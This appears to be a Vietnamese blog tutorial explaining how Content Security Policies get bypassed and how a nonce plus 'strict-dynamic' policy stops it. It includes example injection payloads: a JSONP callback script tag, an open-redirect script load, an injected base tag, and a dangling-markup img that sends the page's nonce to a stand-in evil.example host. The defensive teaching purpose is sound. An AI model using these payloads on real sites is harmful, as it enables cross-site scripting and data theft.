jvinhit//lab

Search posts

Type to search across journal entries.

navigate open esc close

Web Security for Frontend Devs · Part 13 — Strict CSP & CSP Bypasses

Advanced track: why allowlist CSPs get bypassed — JSONP and gadgets on trusted CDNs, open redirects, base-uri hijacks, scriptless exfiltration — and how a nonce + strict-dynamic policy stops them. With a simulator and exercises.

Phần 13 — Nhánh nâng cao trong series Web Security for Frontend Devs. Trước: Tiếp:

Phần 3 dạy bạn viết một Content Security Policy. Phần nâng cao này dạy bạn phá nó — vì policy hầu hết team ship, allowlist host, bị vượt đều đặn đến mức nghiên cứu của Google thấy phần lớn CSP thực tế không bảo vệ XSS đáng kể. Biết các bypass là cách duy nhất hiểu vì sao nonce + 'strict-dynamic' là mặc định hiện đại.

Browser about to load CSP policy script-src 'self' 'nonce-r4nd' self / nonce ✓ allow inline / evil.com blocked + report deny
CSP only decides what may run/load — if a trusted source can be coerced into serving attacker script, the policy passes the payload anyway

Mô hình tư duy: CSP kiểm nguồn, không kiểm ý định

CSP trả lời một câu hỏi mỗi tài nguyên: “load này có từ nguồn được phép không?”không biết JavaScript một host tin cậy trả về có phải của bạn không. Mọi bypass dưới đây khai thác khoảng trống đó: kẻ tấn công khiến một nguồn đã allowlist giao script của họ, hoặc tìm injection không cần thực thi script.


Bypass 1 — endpoint JSONP trên host đã allowlist

Kinh điển. Policy bạn tin một CDN lớn:

Content-Security-Policy: script-src 'self' https://trusted-cdn.example

Nếu host đó phục vụ bất kỳ endpoint JSONP — URL phản chiếu tham số callback thành JavaScript chạy được — kẻ tấn công inject thẻ script trỏ tới đó:

<!-- passes CSP: the host is allowlisted -->
<script src="https://trusted-cdn.example/jsonp?callback=alert(document.domain)//"></script>

Endpoint trả alert(document.domain)//(...) — JS hợp lệ, từ origin tin cậy, được CSP duyệt hoàn toàn. Nhiều thư viện phổ biến từng có gadget như vậy; chính vì allowlist các host này quá phổ biến mà công cụ đánh giá tồn tại.


Bypass 2 — script gadget trong bundle tin cậy

Kể cả khi không cho inline script, script gadget là code hợp lệ đã có trên trang biến dữ liệu DOM thành thực thi code. Ví dụ kinh điển: app AngularJS cũ, inject {{...}} vào binding template sẽ chạy — framework chạy, không phải <script> của kẻ tấn công. Tổ hợp sanitizer + framework và thư viện auto-bind theo innerHTML là lò gadget. CSP không thấy: không nguồn cấm nào được load.

Bài học nối thẳng tới Phần 11Phần 12: tấn công không-script và dựa-gadget nằm dưới radar CSP.


Bypass 3 — open redirect trên host đã allowlist

CSP khớp host của URL bạn yêu cầu, rồi đi theo redirect. Nếu host allowlist có open redirect, kẻ tấn công trỏ thẻ script tới host tin cậy rồi để nó nhảy sang evil:

<script src="https://trusted.example/redirect?url=https://evil.example/x.js"></script>

Sau redirect, phần path của mục allowlist bị spec bỏ qua cho tài nguyên kết quả — nên script-src https://trusted.example/safe/only/ không cứu bạn khi có redirect. Open redirect (xem Phần 10) không chỉ là phishing — chúng là primitive vượt CSP.


Bypass 4 — thiếu base-uri làm đổi đích script tương đối

Nếu script load bằng path tương đối và policy thiếu base-uri, một thẻ <base> tiêm vào đổi nơi URL tương đối phân giải:

<!-- injected before your <script src="app.js"> -->
<base href="https://evil.example/">
<!-- now app.js loads from https://evil.example/app.js -->

script-src 'self' trông kín, nhưng script giờ từ evil — vì 'self' được đánh giá theo URL đã đổi base. Luôn set base-uri 'none' (hoặc 'self').


Bypass 5 — trộm dữ liệu không-script & rò nonce

script-src nghiêm có thể chặn thực thi nhưng img-src/connect-src vẫn cho rò dữ liệu. Dangling markup injection: tiêm thuộc tính chưa đóng để trình duyệt nuốt HTML theo sau — gồm cả nonce mới — vào một request tới kẻ tấn công:

<!-- attacker injection opens an <img> whose src is never closed -->
<img src="https://evil.example/log?html=
<!-- everything until the next quote, including: -->
<script nonce="THE-REAL-NONCE" ...>

Trình duyệt gửi mọi thứ tới dấu nháy kế làm URL ảnh — rò nonce mỗi-response, kẻ tấn công tái dùng ở injection giai đoạn hai. Phòng thủ: img-src/connect-src chặt, tránh phản chiếu nonce gần điểm inject, và 'strict-dynamic'.


Cách sửa: một CSP strict thật sự

Bài học từ mọi bypass: ngừng allowlist host cho script. Tin script qua nonce, để chúng nạp phần còn lại qua 'strict-dynamic', và khóa các cửa hông:

Content-Security-Policy:
  script-src 'nonce-{RANDOM_PER_RESPONSE}' 'strict-dynamic' https: 'unsafe-inline';
  object-src 'none';
  base-uri 'none';
  require-trusted-types-for 'script';

Vì sao hình dạng này bền:

  • chỉ thẻ server render của bạn mang nonce ngẫu nhiên; <script> tiêm không đoán được.
  • script tin-nonce nạp thêm script được, nên không cần allowlist host (không có gì để JSONP-bypass).
  • fallback cho trình duyệt cũ bỏ qua 'strict-dynamic'/nonce; trình duyệt hiện đại bỏ qua chúng có nonce.
  • đóng Bypass 4 và mặt plugin.

Đây là hình dạng policy mà CSP Evaluator của Google chấm mạnh. Triển khai report-only trước (Phần 3).


Thử ngay — trình mô phỏng policy & bypass CSP

Chọn một policy, bắn các payload tiêm vào nó (inline script, JSONP trên CDN allowlist, hijack <base>, rò dangling-markup), và xem chính xác cái nào policy chặn vs cho qua — và vì sao.

Mở demo đầy đủ:


Checklist phòng tránh

  1. Ưu tiên nonce + 'strict-dynamic' hơn allowlist host.
  2. Rà mọi host allowlist tìm JSONP và open redirect.
  3. Luôn set object-src 'none'base-uri 'none'.
  4. Siết img-src/connect-src để hạn chế rò không-script.
  5. Sinh nonce mới mỗi response; không cache trang kèm nonce.
  6. Chạy policy qua CSP Evaluator; triển khai report-only trước khi ép.
  7. Nhớ CSP không chặn gadget (Phần 11–12) — vẫn sanitize và validate.

Bài tập / Exercises

1. Policy là script-src 'self' https://cdn.example. Pentest tìm thấy endpoint JSONP. Viết injection vượt CSP và thay đổi một dòng để sửa.

Lời giải
<script src="https://cdn.example/api/jsonp?callback=alert(document.domain)//"></script>

Host đã allowlist nên CSP duyệt; endpoint phản chiếu callback thành JS chạy được. Sửa: bỏ allowlist host, đổi sang script-src 'nonce-{rnd}' 'strict-dynamic' — thẻ tiêm không có nonce không load được, bất kể host.

2. Giải thích vì sao script-src 'self' không bảo vệ trang dùng src tương đối nếu base-uri chưa set.

Lời giải

<base> tiêm đổi base document, nên app.js phân giải thành URL evil. Sửa bằng base-uri 'none', cấm <base> tiêm có hiệu lực.

3. Vì sao https:'unsafe-inline' an toàn khi đặt cùng 'nonce-…' 'strict-dynamic'?

Lời giải

Chúng là fallback tương thích ngược. Trình duyệt hỗ trợ 'strict-dynamic'/nonce bỏ qua 'unsafe-inline' và allowlist host/scheme khi có nonce/hash. Trình duyệt cũ không hiểu 'strict-dynamic' fallback về https:/'unsafe-inline' để site vẫn chạy.

Nâng cao:Lấy một CSP thật, dán vào CSP Evaluator, xác định nó có dựa allowlist host không, rồi viết lại theo dạng nonce + 'strict-dynamic'.


Điểm chính

  • CSP kiểm nguồn, không kiểm ý định.
  • Allowlist host là dạng yếu.
  • Tiêm <base> đổi đích script tương đối nếu base-uri chưa khóa.
  • script-src nghiêm không chặn rò không-script.
  • Mặc định bền là nonce + 'strict-dynamic' + object-src 'none' + base-uri 'none'.

Tiếp theo

Nhánh nâng cao tiếp tục với khai thác postMessage & messaging giữa cửa sổ — nhầm origin, đích '*', và lỗi confused-deputy giữa iframe và popup.